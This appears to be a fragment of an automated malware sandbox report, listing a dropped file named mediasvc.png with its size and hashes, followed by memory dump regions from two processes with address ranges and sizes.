4ce9816c61e58834c1713d0abcf6305d565b7a52c1d2d2f63d8b7c5b69314d959205ea70af084ef74759820114c8b938800513e0dda43d699f0454189b5fbdca

Download Submit
\Windows\Branding\mediasvc.png

Filesize
743KB

MD5
37b7b51385d6b857d082976c035c86e0

SHA1
c2ec7d74e7d555375cdcca0407237dd3e7db2a24

SHA256
a66a31069c3d37207c33b0dc1a9a0d1bbe85a0dd78168f598edfebe07c3d4e22

SHA512
8bc897adf02406478a4bc6a24efcfcd699e2fa7aa7e82c8bd6d05f6b5922143866039d533ae8730dbd0d76c7745cbda86d4c4174a298bf29be1a80c7a1eaf403

Download Submit
memory/2212-15-0x000007FEED2D0000-0x000007FEEDC6D000-memory.dmp

Filesize
9.6MB

Download
memory/2212-11-0x000007FEED58E000-0x000007FEED58F000-memory.dmp

Filesize
4KB

Download
memory/2212-24-0x000007FEED2D0000-0x000007FEEDC6D000-memory.dmp

Filesize
9.6MB

Download
memory/2212-16-0x000007FEED2D0000-0x000007FEEDC6D000-memory.dmp

Filesize
9.6MB

Download
memory/2212-80-0x000007FEED2D0000-0x000007FEEDC6D000-memory.dmp

Filesize
9.6MB

Download
memory/2212-33-0x0000000002AF0000-0x0000000002AF8000-memory.dmp

Filesize
32KB

Download
memory/2212-14-0x000007FEED2D0000-0x000007FEEDC6D000-memory.dmp

Filesize
9.6MB

Download
memory/2212-13-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2212-12-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2212-38-0x000000001B5E0000-0x000000001B612000-memory.dmp

Filesize
200KB

Download
memory/2212-37-0x000000001B5E0000-0x000000001B612000-memory.dmp

Filesize
200KB

Download
memory/2212-22-0x000007FEED2D0000-0x000007FEEDC6D000-memory.dmp

Filesize
9.6MB

Download
memory/2212-79-0x000007FEED2D0000-0x000007FEEDC6D000-memory.dmp

Filesize
9.6MB

Download
memory/2212-78-0x000007FEED2D0000-0x000007FEEDC6D000-memory.dmp

Filesize
9.6MB

Download
memory/2212-77-0x000007FEED58E000-0x000007FEED58F000-memory.dmp

Filesize
4KB

Download
memory/2212-76-0x000007FEED2D0000-0x000007FEEDC6D000-memory.dmp

Filesize
9.6MB

Download
memory/2812-2-0x000007FEF5100000-0x000007FEF5AEC000-memory.dmp

Filesize
9.9MB

Download
memory/2812-1-0x0000000041810000-0x0000000041C14000-memory.dmp

Filesize
4.0MB

Download
memory/2812-3-0x000007FEF5100000-0x000007FEF5AEC000-memory.dmp

Filesize
9.9MB

Download
memory/2812-4-0x000007FEF5100000-0x000007FEF5AEC000-memory.dmp

Filesize
9.9MB

Download
memory/2812-56-0x000007FEF5100000-0x000007FEF5AEC000-memory.dmp

Filesize
9.9MB

Download
memory/2812-55-0x000007FEF5103000-0x000007FEF5104000-memory.dmp

Filesize
4KB

Download
memory/2812-0-0x000007FEF5103000-0x000007FEF5104000-memory.dmp

Filesize
4KB

Download